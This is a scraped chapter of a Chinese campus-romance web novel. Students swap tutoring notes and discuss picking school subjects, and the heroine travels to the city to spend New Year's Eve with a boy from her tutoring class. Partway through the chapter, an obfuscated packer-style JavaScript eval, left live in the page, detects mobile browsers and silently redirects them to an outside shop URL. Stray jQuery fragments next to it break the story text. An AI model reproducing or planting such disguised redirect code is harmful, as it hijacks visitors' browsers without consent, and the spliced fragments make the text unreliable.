文趣网 > 其他小说 > 在补习班拐了个男朋友 > 26. 围巾
    这周只需要上四天课。

    余思聆刚完成万万布置的学习小任务,美滋滋感受又到账的一万元可用额度。

    彭渊将刚刚抄好的笔记递还给她。

    余思聆接过,小心地将笔记放进书桌。

    彭渊瞧着她这般珍重的举动,嘴巴微动,半晌憋出一句:“你补习班认识的朋友成绩很好?”

    “当然,他可是今年的中考状元。”

    这是她第一次提起,说起来她倒是很少在朋友面前提起徐泽曜,除去这周将笔记给他们看以外,吴湘和彭渊是第一次知道她在补习班还有熟悉的朋友。

    谈到这里,余思聆便想到了礼物一事。

    她实在是没有给异性朋友送礼的经验。

    于是,她直起身子,认真询问:“彭渊,像你们男生喜欢收到什么礼物呀。”

    彭渊心微微颤动,随即又反应过来,涌出一股酸涩:“你要给那个朋友送礼。”

    “对啊,人家送我一条手链,我总该回礼吧。”

    余思聆撩起毛衣,闪耀的手链衬得手腕更加纤细。

    彭渊早就发现这条手链了,但没想到会是那个人送的,余思聆谈及他时的亲昵让彭渊不可控地讨厌他。

    “不知道。”他小声道。

    “好吧,那我吃饭时再问问她们。”余思聆嘀嘀咕咕摸着手链转过身去。

    -

    “为什么这么快就要分班。”谭以安趴在桌子上,翻开的书本压在脸上印出红印。

    今天班主任了宣布了关于下学期分科的内容,庆渝实行3+1+2模式,三门主科不变,物理和历史学生必须选择其中一门,再从剩下的四门中选择两科。

    平阳中学学生不多,整个年级也就800多人,十三个班,不可能每一个组合都会拿出来组班,因此学校给了提前选科的时间,从收集上来的学生选科组合再决定开设哪些班。

    第一次选科提交时间是在元旦假期回来后。

    “你们选什么。”吴湘说。

    “我肯定会选物理,剩下两科再看看。”余思聆说。

    早在第一次知道实行新高考时,她就和万万讨论过了,选偏理科。

    “干脆我也选物理吧。”谭以安不甚在意,“你选什么我跟你选,没准还能分在一个班。”

    余思聆迟疑:“你确定吗?这影响以后高考选专业,你还是好好考虑下吧。”

    “不考虑了,反正选啥对我来说没区别,跟你在一个班,还能继续和你一起学习。”

    余思聆想了想,也对。

    “我可能不和你们一样了,我想选历史。”吴湘说。

    “没事啊,不在一个班又不影响。”余思聆在习题册上写上一个B,翻了一页抬起头,“到时候我们还是和现在一样呗,中午来这学习。”

    开放图书室的角落几乎快成她们的老家了。

    听到余思聆的话,吴湘这才放松的笑了笑。

    彭渊半天没有说话,谭以安用笔戳戳他的手臂,好奇:“你选什么啊。”

    彭渊抬眸,眼中有化不开的浓雾,道:“我想去一班。”

    一二班是艺体生班级,已经是固定的全文选科。

    “你想学美术?”余思聆问。

    彭渊点头,想说些什么最后也没说。

    他画画的技术,不学美术是可惜了。

    “好烦,按照以前的文理科分班,我就没这么烦恼。”谭以安把玩着头发,思绪早已飘到远方。

    余思聆用笔敲敲桌面,说:“先不管,反正还有一段时间呢,你先把题做了,马上午休就结束了。”

    自从谭以安加入她们这个学习小组后,余思聆在这方面管她管得特别严,谭以安才发觉余思聆还有这么一面,温和但是强势得不容拒绝。

    “我知道啦。”

    “笔记你抄完了吗?抄完了就拿给彭渊吧,等你们都弄完再一起给吴湘看。”

    谭以安差点忘记了,说:“快了快了,放假前我肯定能弄完。”

    徐泽曜给的两本笔记分别是物理和数学,是余思聆薄弱两科,同样对于谭以安她们而言也是很适用的。

    “还有我给你选的书,你记得每天做。”余思聆说。

    “我知道,正在做呢。”

    余思聆给他们每人带了两本书回来,每天在他们布置任务,她学着徐泽曜辅导她的模样给他们辅导。

    -

    四天结束得很快。

    余思聆正在收拾书包,谭以安站在窗户边,嘴里含着棒棒糖,手指快速在屏幕上敲打。

    吴湘和彭渊已经收拾好,在旁边等待她。

    余思聆又数了一遍东西,确保没有遗漏才拉上书包的拉链。

    “走吧。”

    谭以安说:“今晚我偶像有跨年晚会,我吃过饭后来你家玩吧。”

    “你们一起跨年吗?”吴湘吃惊,有点羡慕。

    “有时候一起。”谭以安说,“你来要吗。”

    吴湘很想来,但一想到家,捏紧书包带子摇头。

    “我忘记和你说了,今天要上庆渝。”

    “什么!你不是说补习已经结束了嘛,怎么还要上去!”谭以安撇嘴,她拉着余思聆的胳膊,控诉她“你居然不早点和我说!”

    “我忘了嘛。”余思聆挠挠头,“我回来给你带糖好不好。”

    之前她有从庆渝带零食回来,一种白桃味的软糖戳中谭以安心,可惜平阳没有卖这款软糖。

    “我要五包。”谭以安这才满意。

    “没问题。”

    吴湘和彭渊安静地跟着两人旁边,彭渊有点高兴。

    Xu【上车没】

    徐泽曜消息弹出。

    余思聆这才看了眼遗忘的时间,距离最近那辆上庆渝的车还有二十分钟发车,余思聆一惊,向她们摆手:“我车要来不及啦,微信聊啊。”

    说完,她拽了一下彭渊,然后火急火燎的往车站方向跑去。

    好在最后没有错过。

    余思聆气喘吁吁:“好累,和跑八百米差不多了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735142|208785||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    彭渊将一瓶没拆封的水递给她,疑惑:“不是说不用补习吗?怎么还要上去。”

    余思聆接过水,咕咚喝掉一半,解释:“后天给我姐搬家呢,然后今天约了人一起跨年,不能迟到。”

    彭渊栓安全带的手顿住,“是补习班的朋友。”

    “对啊对啊。”她将窗户打开一条缝隙“上周约好了,不能失约呀,这车怎么这么闷啊。”

    说着说着,她掏出手机。

    不要吃鱼【已上车】

    车内太闷,余思聆不想讲话,两人沉默着坐在车上。

    直到彭渊要下车,他低声:“我走了。”

    “好。”

    ......

    车门打开,寒气扑面而来。

    将昏昏欲睡的余思聆冻得清醒。

    庆渝市内已做好节日氛围,就连街旁的树上都挂着彩灯。

    余思聆跟随人群下车,缩了缩脖子,在出站口张望徐泽曜的身影。

    徐泽曜站在昏黄路灯下,挺拔清瘦,深灰色大衣衬得身影卓越,余思聆缓缓上前,踮脚轻拍他的肩膀。

    他回眸,原本冷漠的瞳孔在触及余思聆可爱的笑容时瞬间染上浓烈笑意。

    今日他还戴着黑色冷帽,优越眉骨更加深邃。

    他怎么能这么帅。

    是余思聆见到他时,脑中冒出的第一个想法。

    徐泽曜眉头微蹙,余思聆的鼻头被冻红,皮肤似乎被冻得泛青,睫毛好似沾上薄雾,眼尾带着丝水雾。

    是余思聆开的那条小缝两个多小时源源不断往里面灌冷风。

    徐泽曜没说话,只是默默取下脖子上的围巾,在余思聆还没反应过来之际,温热的还带着他体温的围巾已经被牢牢的围在她的脖颈,围巾散发淡淡的香气,很好闻,但余思聆没闻出来是什么味道。

    “你给我,那你呢?”

    “我不冷。”

    语罢,徐泽曜轻柔的将被围巾裹住的柔顺的发丝挑出来,又重新整理了围巾,确保寒风不会再侵袭。

    市内比平阳镇冷上许多。

    余思聆确实是被冷懵了,因此没有拒绝。

    徐泽曜想了想,又把帽子取下,在余思聆呆愣目光下戴着她头上,冰凉的指尖扫过她的眼,余思聆的睫毛眨了又眨。

    看着余思聆被包裹得不会再有受冻的可能,他扬起笑意,眉眼弯弯。

    怎么感觉他把她当小孩了。

    “先垫垫。”

    林颂端着两份关东煮快步过来。

    她还以为林颂没来呢。

    余思聆接过,纸杯被汤烫得滚烫,她指尖瑟缩了下,但贪恋这点温暖没有松手。

    “这里是风口,我们先走。”徐泽曜说。

    “我就说这里怎么这么冷。”林颂咬着肉丸,含糊不清。

    徐泽曜说:“堵车严重,我们坐地铁。”

    “可以啊。”

    街道车水马龙,下班高峰期碰上跨年夜,余思聆不敢想,要是打车会堵多久。